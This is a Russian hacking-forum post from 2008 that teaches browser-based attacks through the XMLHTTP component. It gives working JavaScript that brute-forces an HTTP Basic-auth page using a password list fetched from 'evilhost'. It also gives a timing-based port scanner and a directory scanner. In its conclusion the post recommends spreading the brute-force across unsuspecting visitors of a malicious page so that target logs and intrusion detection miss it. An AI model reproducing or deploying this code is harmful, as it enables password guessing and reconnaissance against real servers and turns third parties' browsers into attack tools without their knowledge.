Показать сообщение отдельно

продолжение
  #2  
Старый 06.03.2008, 11:44
Phm.phx
Постоянный
Регистрация: 12.01.2008
Сообщений: 336
Провел на форуме:
797429

Репутация: 598
Отправить сообщение для Phm.phx с помощью ICQ
По умолчанию продолжение

Подбор пароля к страничке, защищённой http-авторизацией.



На данном примере Вы увидите как можно использовать компонент XMLHTTP не только в целях отправки фиктивных запросов. Давайте взглянем на список всех параметров которые должны передаваться методу open() этого компонента. Их всего 5:

* Метод. В данном параметре указывается метод передачи данных(GET,POST и т.д.).
* URI. Собственно адрес, куда будем обращаться.
* async. Не обязательный параметр. Данный параметр может иметь 2 значения: true или false. Если он установлен в true то выполнение кода странички будет продолжено после отправки запроса. Если же данный параметр равен false то скрипт заморозит работу до возврата сервером ответа на запрос. Конечно же, стоит данный параметр устанавливать в true что бы пользователь не обращал внимание на паузу. Но в некоторых случаях установка в false просто обязательна.
* username – имя пользователя нужно для авторизации (если страничка защищена).
* password – пароль для авторизации.

Так же нас интересует событие onreadystatechange. Дело в том что ответ от сервера возвращается не сразу. При изменении состояния объект XMLHTTP проходит 5 стадий, все они имеют цифровое обозначение:

* Не инициализировано
* Загрузка
* Загружено
* Ожидание
* Завершено

То есть, при каком либо запросе нужно дождаться пока состояние объекта станет равно 4, и тогда уже брать ответ.

Как Вы, наверное, уже догадались – мы просто будем подставлять логин и пароль в параметры запроса, и пробовать соединяться. Различать правильную и не правильную авторизацию мы будем по коду ответа веб-сервера. Если сервер вернул ответ с кодом 401 то мы не авторизировались. Если код ответа 200 то всё хорошо и пароль подобран. Так же мы будем использовать метод abort() компонента XMLHTTP. Данный метод нужен для обрыва http-запроса на любой стадии. Мы будем обрывать запрос как только получим код ответа сервера.

Для наших экспериментов мы будем использовать скрипт со следующим кодом, хранящийся на хосте targethost(auth.php):
PHP код:
<?php
$name
='Kuzya'// логин пользователя  (user login)
$pass='hack'// пароль пользователя (user password)
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)   {
   
header('WWW-Authenticate: Basic realm="TestAuth"');
   
header('HTTP/1.0 401 Unauthorized');
   exit(
"<b>Access Denied</b>");
   }
?>
Обратитесь к данной страничке и введите правильный пароль и логин для проверки. Если всё ок - должна появится пустая страничка. Перед рассмотрением кода нужно сказать о двух важных вещах:

* При запросах мы будем использовать метод HEAD.
* Для получения списка паролей мы будем запрашивать текстовый файл с хоста evilhost, а полученные текст разбивать на массив.

Список паролей будет хранится в файле passwords.txt в корне evilhost. Вот его содержимое:
Цитата:
pass
password
hacking
987654321
blah
123
qwerty
hack
kuzya
1234567890
funny
yandex
Теперь давайте взглянем на код нужный для подбора пароля(auth_brute_code.js). Для начала нужно объявить все нужные нам переменные:
Цитата:
// В массиве passwords хранятся пароли для перебора
var passwords = new Array();
// в переменной login хранится имя пользователя для перебора
var login="Kuzya";
//browser – переменная для XMLHTTP
var browser=null;
browser = new ActiveXObject("Microsoft.XMLHTTP");
// Переменная в которой будет храниться текущий пароль
var now = "";

Далее мы должны получить список паролей:
function getPasswordsList(){
// Запрашиваем файл passwords.txt
browser.open("GET","http://evilhost/passwords.txt",true);
// При изменении состояния компонента вызываем функцию checkPassList
browser.onreadystatechange=checkPassList;
browser.send(null);
}
function checkPassList(){
// Если ответ готов
if (browser.readyState==4){
// Полученный текст разбиваем на части и помещаем в массив passwords.
// Как разделитель используем знак переноса строки.
passwords=browser.responseText.split("n");
// После того как список паролей получен, вызываем функцию подбора.
AuthBrute();

}
}
еперь рассмотрим функции которые будут осуществлять подбор пароля:
Цитата:
/ pnumb – номер пароля в массиве.
function TryAuth(pnumb){
var pass = passwords[pnumb];
// Удаляем пустые символы которые образуются в результате разбиения // полученного текста на массив
pass=pass.replace(/s/g, "");
browser.open("HEAD","http://targethost/auth.php",0,login,pass);
// В переменную now заносим текущий пароль
now=passwords[pnumb];
browser.onreadystatechange=analfunc;
browser.send(null);
}
function analfunc(){
if (browser.status == '200'){
alert("Yes! Password is "+now);
}

}
// Функция осуществления подбора
function AuthBrute(){
for (var count=0; count <= passwords.length-1; count ++) {
TryAuth(count);
}
}
Данный скрипт должен располагаться в корне evilhost. Теперь нам нужно написать html-страничку на которой будет расположена 1 кнопка начинающая перебор. Она будет располагаться в корне evilhost. Вот её код (auth_brute.html):
Код HTML:
<html>
<head>
  <title>auth brute page!</title>
  <script src=auth_brute_code.js></script>
</head>
<body>
<!-- Первой вызываем функцию получения списка паролей -->
<!-- а она уже вызывает функцию перебора. -->
<input type=button onClick="getPasswordsList();" value="Brute!">
</body>
</html>
Для проверки работоспособности скрипта пройдите по ссылке http://evilhost/auth_brute.html и нажмите на нашу кнопку. Если всё правильно, то Вы должны увидеть следующее:

Как видите – наша задача выполнена, пароль подобран.


Осуществление сканирования портов с помощью компонента XMLHTTP.




Давайте посмотрим как можно осуществить сканирование портов с помощью вышеуказанного компонента. Как Вы помните – у этого компонента есть 5 состояний. Для сканирования мы будем применять обращения по адресам типа http://serverort. Давайте напишем код, который покажет нам через какие состояния проходит компонент при обращении к открытым и закрытым портам. Для этого мы напишем пару функций встроенных в страничку. Первая функция будет отправлять http-запрос на указанный хост и порт (на страничке мы сделаем форму), а вторая будет выводить на экран все свойства компонента. Вот код странички(port_scan.html):
Код HTML:
<html>
<head>
  <title></title>
  <script>
// Объявляем нужные переменные
var host = "";
  	var port = "";
  	var browser = null;
  	var main_div = null;
// Фунция сканирования порта
  function scanPort(){
// Берём данные из формы (хост/порт)
            host = document.forms[0].host.value;
  	port = document.forms[0].port.value;
  	browser = new ActiveXObject("Microsoft.XMLHTTP");
  	browser.open("GET","http://"+host+":"+port, true);
  	browser.onreadystatechange=analysfunc;
  	browser.send(null);
  }
// Функция которая покажет нам все этапы осуществления запроса
  function analysfunc(){
  	main_div = document.getElementById("main_div");
  	main_div.innerHTML+=browser.readyState+"<br>";
  	if(browser.readyState==4){
  		main_div.innerHTML+="Status:"+browser.status+"<br>";
  		main_div.innerHTML+="Response:"+browser.responseText+"<br>";
  		main_div.innerHTML+="Status text:"+browser.statusText+"<br>";
  	}
  }
  </script>
</head>
<body>
<form>
Host:<input type=text name=host value=localhost><br>
Port:<input type=text name=port><br>
<input type=button onClick=scanPort(); value=scan>
</form>
<hr>
<div id=main_div></div>
</body>
</html>
Я разместил данную страничку на localhost`е. Посмотрим что же у нас получилось. Пройдите по ссылке http://localhost/port_scan.html и укажите, например, порт 3306 (MySQL). Итак, что мы получили:




Теперь обратимся на какой-либо закрытый порт, например 28796:


Как видите ответ тот же. Это немного озадачивает. Состояния портов разные – ответы одинаковые. Но Вы наверное заметили что при обращении к закрытому порту ответ (а именно изменение readyState с 1 на 4) шёл на много дольше чем при обращении к порту MySQL. Именно это отличает закрытый порт от открытого. Этим мы и будем руководствоваться. Для анализа состояния порта нам нужно примерно через секунду проверить ответ. А точнее значение свойства readyState. Для этого мы при отправке запроса запустим таймер, который через секунду вызовет функцию check(). Эта функция в зависимости от значения readyState будет сообщать нам – открыт порт или закрыт. Ниже приведён полный код port_scan.html который должен получиться в итоге:
Код HTML:
<html>
<head>
  <title></title>
  <script>
    var host = "";
  	var port = "";
  	var browser = null;
  	var main_div = null;
  	var answer = 0;
  function check(){
  	if (browser.readyState == 4){
		alert("open!");
  	} else {
		alert("close!");
  	}
  }
  function scanPort(){
    host = document.forms[0].host.value;
  	port = document.forms[0].port.value;
  	browser = new ActiveXObject("Microsoft.XMLHTTP");
  	browser.open("GET","http://"+host+":"+port, true);
  	browser.onreadystatechange=analysfunc;
  	browser.send(null);
// Заводим таймер на 1 секунду
  	var t = window.setTimeout(check,1000);
  }
  function analysfunc(){
  	main_div = document.getElementById("main_div");
  	main_div.innerHTML+=browser.readyState+"<br>";
  	if(browser.readyState==4){
  		main_div.innerHTML+="Status:"+browser.status+"
";
  		main_div.innerHTML+="Response:"+browser.responseText+"
";
  		main_div.innerHTML+="Status text:"+browser.statusText+"
";
  	}
  }
  </script>
</head>
<body>
<form>
Host:<input type=text name=host value=localhost><br>
Port:<input type=text name=port><br>
<input type=button onClick=scanPort(); value=scan>
</form>
<hr>
<div id=main_div></div>
</body>
</html>
Вот результаты работы этой странички при сканировании порта 3306:



И при сканировании порта 56987

Теперь у Вас есть собственный сканер портов на JS.


Простейший cgi-сканнер основанный на XMLHTTP.



Сейчас мы напишем самый простенький cgi-сканнер который будет работать следующим образом:

* Получать с удалённого/локального хоста список директорий для сканирования.
* Запрашивать все эти директории по очереди.

Для начала нам нужно составить список опрашиваемых директорий/файлов. У меня он имеет следующее содержание(dirlist.txt):
Цитата:
cgi-bin/
robots.txt
admin/
test/
cards/
blah/
dir/
Вы можете взять этот список или же составить свой. Главное что бы около половины директорий/файлов были созданы на хосте targethost (именно его мы и будем сканировать). Файл с данным списком сохраните в корне хоста evilhost. Теперь возьмёмся за кодинг. Для начала нам надо написать функцию которая запросит dirlist.txt и разобьёт его на массив. Действовать будем так же как и при подборе пароля к http-авторизации(cgi_scan.js)
Цитата:
// Массив для списка сканируемых обьектов
var dirlist = new Array();
var browser = new ActiveXObject("Microsoft.XMLHTTP");
// В этой переменной будет лежать имя директории/файла
// сканируемого в данный момент
var now = "";
function getDirList(){
browser.open("GET","http://evilhost/dirlist.txt",false);
browser.onreadystatechange=analysfunc;
browser.send(null);
}

function analysfunc(){
if (browser.readyState==4 ){
// Разбиваем полученный ответ на массив
dirlist = browser.responseText.split("n");
}
}
Дальше на очереди сам код проводящий сканирование, всего 3 функции:

* StartScan()
* scan()
* checkscan()

Первая функция StartScan() будет запускать цикл сканирования портов. scan() – функция которая производит сканирование.
Цитата:
function StartScan(){
for (var i=0; i<=dirlist.length-1; i++){
scan(i);
}
}
Функция scan отвечает только за отправку запроса. Этой функции мы будем передавать переменную num в которой будет храниться номер ячейки массива dirlist – объект который нужно запросить.
Цитата:
function scan(num){
// в переменную now заносим имя файла/папки сканируемого в данный момент.
now=dirlist[num];
browser.open("GET","http://targethost/"+dirlist[num],false);
// При изменении состояния запроса вызываем функцию checkscan
browser.onreadystatechange=checkscan;
browser.send(null);
}
Как Вы наверное уже догадались, функция checkscan() проверяет код ответа как только от сервера придёт ответ. Если ответ сервера не 404 то функция выведет имя папка/файла и код ответа.
Цитата:
function checkscan(){
if (browser.readyState==4 && browser.status!==404){
var main_div=document.getElementById("main_div");
main_div.innerHTML+=now+":"+browser.status+"<br>";
}
}
А вот код html-странички которая произведёт вызов всех нужных функций(cgi_scanner.html):
Код HTML:
<html>
<head>
  <script src=cgi_scan.js ></script>
</head>
<body onLoad="getDirList();StartScan();";>
<div id="main_div"></div>
</body>
</html>
Сохраните её в корне evilhost. Для тестирования скрипта я создал на хосте targethost папки admin, test и файл robots.txt. Пройдите по ссылке http://evilhost/cgi_scanner.html для проверки скрипта. Вот результат работы сканнера на моём веб-сервере:


Заключение.






В заключение хотелось бы сказать о том что данные атаки очень опасны и при правильном подходе их почти не возможно обнаружить. А если написать скрипт который при обращении к нему будет выдавать не целый список паролей, а всего лишь 2-3 пароля? Получается что браузер каждого, зашедшего на опасную страничку, пользователя будет перебирать всего по 2-3 пароля, и постоянно с новых и новых IP. Подбор конечно будет длится долго, но вот и несколько плюсов данного подхода:

* запись в логах о 300 неудачных авторизациях подряд выглядит более подозрительной чем запись о 2-3 неудачных попытках ввести правильный пароль.
* Пользователь может заподозрить неладное заметив, что строка состояния браузера отображает загрузку документа минут 5.
* Пройдя на опасную страничку, пользователь может через 2-3 секунды кликнуть на любую ссылку и, соответственно, пропасть из опасной зоны. Получается что при таком условии подбор за раз 20-30 паролей не сработает, а вот перебор трёх паролей возможно успеет пройти.
* Многие IDS могут ругаться на то, что пользователи пытаются авторизироваться неудачно и с коротким промежутком времени между попытками. А если разбросать лист паролей на кучу пользователей? При 40 посещениях в день атаку можно растянуть на пару дней, но она всегда будет в тени.
*
o Если Вы спланировали перебор по словарю, размер которого 300-400 мб, то:
o очень много уйдёт времени на загрузку словаря у клиента (к моменту конца загрузки пользователь может покинуть опасную страницу).
o Пользователь, заметив в свойстве соединения пару сотен лишних мегабайт покинет страницу моментально и наврятли его туда можно будет снова заманить.


При распределении большого количества паролей между большим количеством пользователей расход трафика резко снижается.

Последний раз редактировалось Phm.phx; 06.03.2008 в 11:47.. Причина: забыл заголовок